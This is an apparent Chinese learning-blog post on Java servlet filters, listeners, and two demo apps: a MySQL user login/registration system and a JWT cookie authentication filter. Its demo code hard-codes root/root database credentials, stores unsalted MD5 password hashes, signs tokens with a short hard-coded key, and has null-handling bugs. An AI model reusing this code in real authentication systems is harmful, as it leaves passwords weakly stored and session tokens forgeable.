| @WebFilter(filterName = "cmdFilter", value = {"*.jsp", "/evil"}, initParams = {@WebInitParam(name = "name", value = "dq")})
|
配置好后访问相应的页面,如访问 a_evil.jsp
👇

以及访问 evil
👇

- 多个过滤器 -
当然,由于对过滤器的调用类似一个链表,那么是可以按照顺序来执行数个过滤器的,比如假若想实现以下功能👇
过滤器A
- 当客户端访问
*.jsp
页面时输出将访问 ip
输出
- 将客户端请求的部分数据打包发给下一个
过滤器B
过滤器B
有关 过滤器A
的代码👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package custom;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException;
public class AFilter implements javax.servlet.Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String userIP = servletRequest.getRemoteAddr(); String userAgent = ((HttpServletRequest) servletRequest).getHeader("user-agent");
servletResponse.getWriter().write(String.join("<br>",new String[]{"- Filter A -",userIP,"- END -",""}));
servletRequest.setAttribute("IP",userIP); servletRequest.setAttribute("UA",userAgent);
filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() { } }
|
有关 过滤器B
的代码👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package custom;
import javax.servlet.*; import java.io.IOException;
public class BFilter implements javax.servlet.Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String userIP = (String) servletRequest.getAttribute("IP"); String userAgent = (String) servletRequest.getAttribute("UA");
servletResponse.getWriter().write(String.join("<br>",new String[]{"- Filter B -",userIP, userAgent,"- END -"}));
filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() { } }
|
有关 ABFilter.jsp
页面内容👇
1 2 3 4 5 6 7 8 9
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>ABFilter</title> </head> <body> <%="<br> - ABFilter Page -"%> </body> </html>
|
以及 web.xml
内容👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <filter> <filter-name>AFilter</filter-name> <filter-class>custom.AFilter</filter-class> </filter> <filter> <filter-name>BFilter</filter-name> <filter-class>custom.BFilter</filter-class> </filter> <filter-mapping> <filter-name>AFilter</filter-name> <url-pattern>*.jsp</url-pattern> </filter-mapping> <filter-mapping> <filter-name>BFilter</filter-name> <url-pattern>*.jsp</url-pattern> </filter-mapping>
|
得到结果👇

此时得到响应显示顺序为 过滤器A
=> 过滤器B
=> 页面
。
- filter和tomcat过程 -
① tomcat
服务器在启动时先实例化所有 过滤器
,并调用其 init
方法
② 客户端
向 tomcat
服务器上的 jsp
发送 http
请求
③ tomcat
容器将从 客户端
发来的 http
请求封装成 ServletRequest
对象
④ tomcat
容器实例化一个 ServletResponse
对象用作响应
⑤ tomcat
服务器根据 <filter-mapping>
定义的 过滤器
顺序将 ServletRequest
和 ServletResponse
对象作为参数调用排在首位的实例化后 过滤器
的 doFilter
方法
⑥ 排在首位 过滤器
的 doFilter
方法中通过 doFilter
方法的调用将 ServletRequest
和 ServletResponse
对象传递给下一个 过滤器
,最后一个 过滤器
⑦ tomcat
服务器由 过滤器
处理得到的 ServletRequest
和 ServletResponse
对象传给 servlet
的对应方法,后面就是一般的处理流程了
- 监听器(listener) -
监听器即是 servlet
规范中定义的一种特殊的类,用以监听特定的事件(类似 WorldEditor
中 Trigger
的 Event
),如创建、销毁、增加、删除、绑定等。
- 监听器划分 -
按照监听对象划分可以分为👇
SerletContext
=> SerletContextLisener
HttpSession
=> HttpSessionListener
ServletRequest
=> ServletRequestListener
按照监听事件可以划分为👇
-
监听域对象自身的创建和销毁的事件监听器
-
SerletContextListener
-
contextInitialized()
-
contextDestroyed()
-
HttpSessionListener
sessionCreated()
sessionDestroyed()
-
ServletRequestListener
requestInitialized()
requestDestroyed()
-
监听域对象中属性变动的事件监听器
-
ServletContextAttributeListener
-
AttributeAdded()
-
AttributeRemoved()
-
AttributeReplaced()
-
HttpSessionAttributeListener
-
AttributeAdded()
-
AttributeRemoved()
-
AttributeReplaced()
-
ServletRequestAttributeListener
-
AttributeAdded()
-
AttributeRemoved()
-
AttributeReplaced()
-
监听绑定到 HttpSession
域中某个对象状态的事件监听器
用一张图来表示(摘自JSP的Web监听器)👇

可见监听器和过滤器一样,是有顺序的,且启动顺序大于过滤器和 servlet
。
- 自定义监听器 -
那么不妨从按照监听事件划分的方法依次写一个例子。
- 域对象自身的创建和销毁的事件 -
这里以 ServletRequest
对象为例,实现在请求时显示传入的 user-agent
请求标头内容,在销毁时显示所传入的所有参数内容。
先是监听器代码👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package custom;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.util.Map;
public class requestListener implements javax.servlet.ServletRequestListener {
@Override public void requestInitialized(ServletRequestEvent sre) { ServletRequestListener.super.requestInitialized(sre); System.out.println("< INIT >"); System.out.println(((HttpServletRequest) sre.getServletRequest()).getHeader("user-agent")); System.out.println("< ==== >");
}
@Override public void requestDestroyed(ServletRequestEvent sre) { ServletRequestListener.super.requestDestroyed(sre); System.out.println("< DESTROY >"); Map<String,String[]> map = sre.getServletRequest().getParameterMap();
for(Map.Entry<String,String[]> entry: map.entrySet()){ String key = entry.getKey(); String[] values = entry.getValue(); System.out.println(key + ":\n" + String.join("|",values)); } System.out.println("< ==== >"); } }
|
将其打包成 jar
后放到指定目录,然后是 web.xml
内容👇
1 2 3
| <listener> <listener-class>custom.requestListener</listener-class> </listener>
|
当然,如果 servlet3.0+
直接使用注解也可以👇
访问任意页面并传入参数,比如 listener.jsp?a=1&b=123&b=321
👇

如果再访问 listener.jsp?c=10
👇

可见每次请求都会存在 ServletRequest
对象的创建和销毁,因而也就会被监听到。
- 域对象中属性变动的事件 -
再写一个有关 HttpSession
增删改的监听器,实现在增操作时显示增的值,在进行改和删操作时判断所改删的值是否为特定值,若不为特定值则输出操作记录。
先是监听器代码👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package custom;
import javax.servlet.http.HttpSessionAttributeListener; import javax.servlet.http.HttpSessionBindingEvent;
public class sessionListener implements HttpSessionAttributeListener {
@Override public void attributeAdded(HttpSessionBindingEvent se) { HttpSessionAttributeListener.super.attributeAdded(se); System.out.println("ADD -> " + se.getName()); System.out.println("VALUE -> " + se.getValue()); }
@Override public void attributeReplaced(HttpSessionBindingEvent se) { HttpSessionAttributeListener.super.attributeReplaced(se); if(se.getName().equals("cant")){ System.out.println("REPLACE -> cant "); System.out.println("VALUE -> " + se.getSession().getAttribute(se.getName()) + " -> " + se.getValue()); } }
@Override public void attributeRemoved(HttpSessionBindingEvent se) { HttpSessionAttributeListener.super.attributeRemoved(se); if(se.getName().equals("cant")){ System.out.println("REMOVE -> cant "); System.out.println("VALUE -> " + se.getSession().getAttribute(se.getName())); } } }
|
打包成 jar
放到对应的目录,接着是 web.xml
内容👇
1 2 3
| <listener> <listener-class>custom.sessionListener</listener-class> </listener>
|
测试的 listener2.jsp
文件内容👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>LISTENER2</title> </head> <body> <% session.setAttribute("can","1"); session.setAttribute("cant","2");
session.setAttribute("can","2"); session.setAttribute("cant","1");
session.removeAttribute("can"); session.removeAttribute("cant"); %> </body> </html>
|
得到结果👇

可见只要 cant
被更改就会有操作记录被输出,而对 remove
操作监听的方法是在删除操作完成后才会被执行的。
- 绑定到 HttpSession
域中某个对象状态的事件 -
在 HttpSession
中对象的状态有两种👇
其中 绑定
与 解除绑定
是指在 HttpSession
中某个对象设置为属性值或移除某个属性的值,而 钝化
指的是服务器将不常用的 session
对象暂时序列化放到系统文件或数据库中,与 钝化
相反,活化
是将暂存在系统文件或数据库中的 session
对象反序列化到服务器中。当 tomcat
服务器被关闭、重启时或是重新加载时,都会将 session
对象钝化到服务器的文件系统中。
针对 绑定
与 解除绑定
的监听器,得继承 HttpSessionBindingListener
类,而针对 钝化
与 活化
的监听器则需要继承 HttpSessionActivationListener
类。
这种 绑定对象
的监听器和上面与 设置属性
的监听器的区别在于 绑定对象
的监听器只监听某种类型对象的绑定与解除绑定操作,而 设置属性
的监听器所监听的是所有设置属性的操作。
比方说先写一个 绑定
与 解除绑定
的监听器,为实现在对 X
类类型的值进行 绑定
和 解除绑定
时输出特定属性,监听器代码👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package custom;
import javax.servlet.http.HttpSessionBindingEvent; import javax.servlet.http.HttpSessionBindingListener; import java.io.Serializable;
public class X implements HttpSessionBindingListener, Serializable {
private final String a; private final String b;
public X(String start, String end){ this.a = start; this.b = end; }
@Override public void valueBound(HttpSessionBindingEvent event) { HttpSessionBindingListener.super.valueBound(event); System.out.println("a -> " + this.a); }
@Override public void valueUnbound(HttpSessionBindingEvent event) { HttpSessionBindingListener.super.valueUnbound(event); System.out.println("b -> " + this.b); }
}
|
将其打包成 jar
后放在相应目录即可,不需要改 web.xml
的内容。
然后是 x.jsp
文件内容👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <%@ page import="custom.X" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>X</title> </head> <body> <% X x = new X("start","end");
session.setAttribute("x",x); session.setAttribute("s","123");
session.removeAttribute("s"); session.removeAttribute("x"); %> </body> </html>
|
得到结果👇

可见只有 X
类类型的变量当被装入 session
或从 session
中删除时才会触发 绑定
与 解除绑定
的监听器,如果再利用上面有关 HttpSession
增删改的监听器,将 x,jsp
内容改为以下值👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <%@ page import="custom.X" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>X</title> </head> <body> <% X x = new X("start","end");
session.setAttribute("cant",x); session.setAttribute("s","123");
session.setAttribute("cant",x);
session.removeAttribute("s"); session.removeAttribute("cant"); %> </body> </html>
|
得到结果👇

可见有关 绑定
和 解除绑定
的监听器是在上面有关 HttpSession
增删改的监听器前的,也就是说当指定类型的类实例被放入 session
中这个操作被执行前 绑定
和 解除绑定
的监听器就已经监听到了,而在指定类型的类实例在被 session
执行删除操作前 绑定
和 解除绑定
的监听器也能监听到。
第二个是 钝化
与 活化
监听器,实现在服务器对 Y
类类型的值进行 钝化
和 活化
时输出特定的属性值,先是监听器代码👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package custom;
import javax.servlet.http.HttpSessionActivationListener; import javax.servlet.http.HttpSessionEvent; import java.io.Serializable;
public class Y implements HttpSessionActivationListener, Serializable {
public String a; public String b;
public Y(String start, String end){ this.a = start; this.b = end; }
public Y(){
}
@Override public void sessionDidActivate(HttpSessionEvent se) { HttpSessionActivationListener.super.sessionDidActivate(se); System.out.println("a -> " + this.a); }
@Override public void sessionWillPassivate(HttpSessionEvent se) { HttpSessionActivationListener.super.sessionWillPassivate(se); System.out.println("b -> " + this.b); }
}
|
将其打包成 jar
放到对应目录后,在 web.xml
写入以下内容👇
1 2 3
| <listener> <listener-class>custom.Y</listener-class> </listener>
|
然后是 y.jsp
文件内容👇
1 2 3 4 5 6 7 8 9 10 11 12 13
| <%@ page import="custom.Y" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Y</title> </head> <body> <% Y y = new Y("活化","钝化"); session.setAttribute("x",y); %> </body> </html>
|
先访问 y.jsp
,再关闭服务器得到以下结果👇

由于这里用的是 IntelliJ IDEA
配合 tomcat
每次关闭服务器都会将临时配置文件清空,所以应该是在启动服务器时没能显示 a -> 活化
的原因。
- 其他 -
随便写写几个例子加深下印象。
- 用户管理实例 -
- 要求 -
简单实现 用户注册
, 用户登录
,用户登出
。
- 实现 -
先随便建个表👇
1 2 3 4 5 6 7 8
| mysql> desc user.userInfo; + | Field | Type | Null | Key | Default | Extra | + | username | varchar(255) | YES | | NULL | | | password | varchar(32) | YES | | NULL | | + 2 rows in set (0.00 sec)
|
登录页面 login.jsp
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Login</title> </head> <body> <form action="core" target="_self" method="post"> <input hidden="hidden" name="action" value="login"/> <p> 用户名 </p><input type="text" name="username"/> <hr> <p>密 码</p></p><input type="password" name="password"/> <hr> <input type="submit" value="登录"> </form> <a href="register.jsp">注册</a> </body> </html>
|
注册页面 register.jsp
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Register</title> </head> <body> <form action="core" target="_self" method="post"> <input hidden="hidden" name="action" value="register"/> <p>用户名</p><input type="text" name="username"/> <hr> <p>密 码</p></p><input type="text" name="password"/> <hr> <p>重复密码</p><input type="text" name="repassword"/> <hr> <input type="submit" value="注册"> </form> <a href="login.jsp">登录</a> </body> </html>
|
登出页面 logout.jsp
👇
1 2 3 4 5 6 7 8 9 10 11
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Logout</title> </head> <body> <jsp:forward page="core"> <jsp:param name="action" value="logout" /> </jsp:forward> </body> </html>
|
个人主页 home.jsp
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Home</title> </head> <body> <% boolean isLogin = false;
if(session.getAttribute("login") != null){ isLogin = (boolean) session.getAttribute("login"); }
if(!isLogin) { out.write("还未登录!页面将在 3 秒后跳转至登录页面!"); response.setHeader("refresh","3;url=login.jsp"); return; } %> <h1>你好,<%=session.getAttribute("user")%></h1> <a href="logout.jsp">登出</a> </body> </html>
|
处理编码的 filter
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.example.usermanage;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;
@WebFilter(filterName = "textFilter", value = {"/*"}) public class textFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { request.setCharacterEncoding("UTF-8"); response.setContentType("text/html;charset=UTF-8"); chain.doFilter(request,response); } }
|
处理逻辑的 servlet
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239
| package com.example.usermanage;
import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.sql.*; import java.util.Base64; import java.util.Locale;
@WebServlet(name = "core", value = "/core") public class coreServlet extends HttpServlet {
static final String JDBC_DRIVER = "com.mysql.cj.jdbc.Driver"; static final String DB_URL = "jdbc:mysql://localhost:3306/user?serverTimezone=UTC"; static final String USER = "root"; static final String PASS = "root";
private Connection conn = null;
@Override public void init(){
try { Class.forName(JDBC_DRIVER); this.conn = DriverManager.getConnection(DB_URL,USER,PASS); } catch (SQLException | ClassNotFoundException e) { System.out.println("ERROR -> " + e.getMessage()); }
}
private void login(HttpServletRequest req, HttpServletResponse resp) throws IOException, NoSuchAlgorithmException{
String user = req.getParameter("username"); String pass = req.getParameter("password");
if(user == null || pass == null){ resp.getWriter().write("用户名或密码为空!页面将在 3 秒后跳转回登录界面!"); resp.setHeader("refresh","3;url=login.jsp"); return; }
boolean success = false;
MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(pass.getBytes(StandardCharsets.UTF_8)); String passHash = Base64.getEncoder().encodeToString(md5.digest());
try {
PreparedStatement preparedStatement = this.conn.prepareStatement("select * from userInfo where username = ? and password = ?");
preparedStatement.setString(1,user); preparedStatement.setString(2,passHash);
ResultSet resultSet = preparedStatement.executeQuery();
if(resultSet != null && resultSet.next()){
HttpSession session = req.getSession(true); String sqlUser = resultSet.getString(1);
session.setAttribute("user",sqlUser); session.setAttribute("login",true);
success = true; }
}catch (SQLException e){ System.out.println("ERROR ->" + e.getMessage()); }
if(success){ resp.getWriter().write("登录成功!页面将在 3 秒后跳转至个人主页!"); resp.setHeader("refresh","3;url=home.jsp"); }else{ resp.getWriter().write("登录失败!页面将在 3 秒后跳转至登录页面!"); resp.setHeader("refresh","3;url=login.jsp"); }
}
private void register(HttpServletRequest req, HttpServletResponse resp) throws IOException, NoSuchAlgorithmException {
String user = req.getParameter("username"); String pass = req.getParameter("password"); String repass = req.getParameter("repassword");
if(!pass.equals(repass)){ resp.getWriter().write("两次密码不一致!页面将在 3 秒后跳转回注册界面!"); resp.setHeader("refresh","3;url=register.jsp"); return; }
if(user == null || pass == null){ resp.getWriter().write("用户名或密码为空!页面将在 3 秒后跳转回注册界面!"); resp.setHeader("refresh","3;url=register.jsp"); return; }
boolean success = false;
MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(pass.getBytes(StandardCharsets.UTF_8)); String passHash = Base64.getEncoder().encodeToString(md5.digest());
try {
PreparedStatement preparedStatement = this.conn.prepareStatement("select * from userInfo where username = ?");
preparedStatement.setString(1,user);
ResultSet resultSet = preparedStatement.executeQuery();
if(resultSet != null && resultSet.next()){
resp.getWriter().write("用户名已存在!页面将在 3 秒后跳转回注册界面!"); resp.setHeader("refresh","3;url=register.jsp"); return;
}
}catch (SQLException e){ System.out.println("ERROR ->" + e.getMessage()); }
try{
PreparedStatement preparedStatement = this.conn.prepareStatement("insert into userInfo values(?,?)");
preparedStatement.setString(1,user); preparedStatement.setString(2,passHash);
preparedStatement.execute();
HttpSession session = req.getSession(true);
session.setAttribute("user",user); session.setAttribute("login",true);
success = true;
}catch (SQLException e){ System.out.println("ERROR ->" + e.getMessage()); }
if(success){ resp.getWriter().write("注册成功!页面将在 3 秒后跳转至个人主页!"); resp.setHeader("refresh","3;url=home.jsp"); }else{ resp.getWriter().write("注册失败!页面将在 3 秒后跳转至注册页面!"); resp.setHeader("refresh","3;url=register.jsp"); }
}
private void logout(HttpServletRequest req, HttpServletResponse resp) throws IOException {
HttpSession session = req.getSession(true);
if(session.getAttribute("user") == null || session.getAttribute("login") == null){ resp.getWriter().write("还未登录!页面将在 3 秒后跳转至登录页面!"); }else { session.removeAttribute("user"); session.removeAttribute("login"); resp.getWriter().write("登出成功!页面将在 3 秒后跳转至登录页面!"); }
resp.setHeader("refresh","3;url=login.jsp");
}
@Override public void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String action = req.getParameter("action");
if(action != null){ try { switch (action.toLowerCase(Locale.ROOT)) { case "login": login(req, resp); break; case "register": register(req, resp); break; default: resp.getWriter().write("参数错误");
} }catch (NoSuchAlgorithmException e) { System.out.println("ERROR -> " + e.getMessage()); } }else { resp.getWriter().write("参数错误"); }
}
@Override public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { String action = req.getParameter("action"); if(action != null) {
switch (action.toLowerCase(Locale.ROOT)){ case "logout": logout(req,resp); }
}else { resp.getWriter().write("参数错误"); }
}
@Override public void destroy() { if(this.conn != null){ try { this.conn.close(); } catch (SQLException e) { System.out.println("ERROR -> " + e.getMessage()); } } } }
|
- 测试 -
注册用户
👇

此时数据库内容👇
1 2 3 4 5 6 7
| mysql> select * from userInfo; + | username | password | + | cc | xMpCOKC5I4INzFCab3WEmw== | + 1 rows in set (0.00 sec)
|
登录用户
👇

接着👇

个人主页
👇

登出用户
👇

- jwt管理实例 -
- 要求 -
简单地使用 cookie
+ jwt
依靠过滤器做身份认证。
- 实现 -
生成页面 generate.jsp
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Generate</title> </head> <body> <form action="core" target="_self" method="post"> <input hidden="hidden" name="action" value="generate"/> <p> 用户名 </p><input type="text" name="username"/> <hr> <input type="submit" value="生成"> </form> </body> </html>
|
信息页面 info.jsp
👇
1 2 3 4 5 6 7 8 9 10 11
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Info</title> </head> <body> <h3>用户名: <%=request.getAttribute("username")%></h3> <hr> <a href="clear.jsp">清空jwt</a> </body> </html>
|
清除页面 clear.jsp
👇
1 2 3 4 5 6 7 8 9 10 11
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Clear</title> </head> <body> <jsp:forward page="core"> <jsp:param name="action" value="clear" /> </jsp:forward> </body> </html>
|
包装好的 Jwt
类👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package custom;
import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm;
import javax.management.timer.Timer; import java.util.Date; import java.util.Map; import java.util.UUID;
public class Jwt{
static final private String key = "dqv5"; static final private String signer = "morouu"; static final private long endTime = 30 * Timer.ONE_MINUTE;
public static String generate(Map<String, Object> map, SignatureAlgorithm sign){
long nowTime = System.currentTimeMillis();
Date now = new Date(nowTime); Date end = new Date(nowTime + endTime);
return Jwts.builder() .addClaims(map) .setId(UUID.randomUUID().toString()) .setIssuedAt(now) .setExpiration(end) .setSubject(signer) .signWith(sign,key) .compact();
}
public static Claims parse(String token){ return Jwts.parser() .setSigningKey(key) .parseClaimsJws(token) .getBody(); }
}
|
处理编码的 filter
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.example.jwtmanage;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;
@WebFilter(filterName = "textFilter", value = {"/*"}) public class textFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { request.setCharacterEncoding("UTF-8"); response.setContentType("text/html;charset=UTF-8"); chain.doFilter(request,response); } }
|
处理认证的 filter
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.example.jwtmanage;
import io.jsonwebtoken.Claims;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.annotation.WebFilter; import javax.servlet.http.Cookie; import java.io.IOException;
@WebFilter(filterName = "jwtFilter", value = {"/info.jsp"}) public class jwtFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Cookie[] cookies = ((HttpServletRequest)request).getCookies(); String user = "身份错误!"; Claims claims;
for(Cookie c : cookies){ if(c.getName().equals("Jwt")){ claims = custom.Jwt.parse(c.getValue()); if(claims != null){ user = (String)claims.get("username"); } } }
request.setAttribute("username",user);
chain.doFilter(request,response); } }
|
处理逻辑的 servlet
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| package com.example.jwtmanage;
import io.jsonwebtoken.SignatureAlgorithm;
import javax.management.timer.Timer; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.util.HashMap; import java.util.Locale; import java.util.Map;
@WebServlet(name = "core", value = "/core") public class coreServlet extends HttpServlet {
private void generate(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String user = req.getParameter("username"); if(user == null){ resp.getWriter().write("用户名为空!将在 3 秒后返回生成页面!"); resp.setHeader("refresh","3;url=generate.jsp"); }
Map<String,Object> map = new HashMap<>(); map.put("username",user);
String jwt = custom.Jwt.generate(map, SignatureAlgorithm.HS256);
Cookie cookie = new Cookie("Jwt",jwt); cookie.setHttpOnly(true); cookie.setMaxAge((int) (Timer.ONE_MINUTE * 30));
resp.addCookie(cookie);
resp.getWriter().write("生成Jwt成功!请点击 "); resp.getWriter().write("<a href=\"info.jsp\"> 这里 </a>"); resp.getWriter().write(" 查看信息,或点击 "); resp.getWriter().write("<a href=\"clear.jsp\" 这里 </a>"); resp.getWriter().write("清除Jwt!");
}
private void clear(HttpServletRequest req, HttpServletResponse resp) throws IOException {
Cookie[] cookies = req.getCookies(); for(Cookie c : cookies){ if(c.getName().equals("Jwt")){ c.setMaxAge(0); resp.addCookie(c); resp.getWriter().write("清除Jwt成功!将在 3 秒后返回生成页面!"); resp.setHeader("refresh","3;url=generate.jsp"); return; } } resp.getWriter().write("未找到Jwt内容!将在 3 秒后返回生成页面!"); resp.setHeader("refresh","3;url=generate.jsp");
}
@Override public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String action = req.getParameter("action"); boolean success = false; if(action != null){ if ("generate".equals(action.toLowerCase(Locale.ROOT))) { generate(req, resp); success = true; } } if(!success) { resp.getWriter().write("参数错误!"); } }
@Override public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String action = req.getParameter("action"); boolean success = false; if(action != null){ if ("clear".equals(action.toLowerCase(Locale.ROOT))) { clear(req, resp); success = true; } } if(!success) { resp.getWriter().write("参数错误!"); } } }
|
以及 pom.xml
的依赖配置👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <dependencies> <dependency> <groupId>io.jsonwebtoken</groupId> <artifactId>jjwt</artifactId> <version>0.9.1</version> </dependency> <dependency> <groupId>javax.xml.bind</groupId> <artifactId>jaxb-api</artifactId> <version>2.4.0-b180830.0359</version> </dependency> <dependency> <groupId>com.sun.xml.bind</groupId> <artifactId>jaxb-impl</artifactId> <version>3.0.1</version> </dependency> <dependency> <groupId>com.sun.xml.bind</groupId> <artifactId>jaxb-core</artifactId> <version>3.0.1</version> </dependency> <dependency> <groupId>javax.activation</groupId> <artifactId>activation</artifactId> <version>1.1.1</version> </dependency> </dependencies>
|
- 测试 -
生成页面
👇

点击生成后👇

信息页面
👇

清除页面
👇

- 总结 -
可算是过了一遍基础,看了下后面还有很多东西得学。不过无论如何先把基础打好了才是最重要的,继续往下学吧。
- 参考 -
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !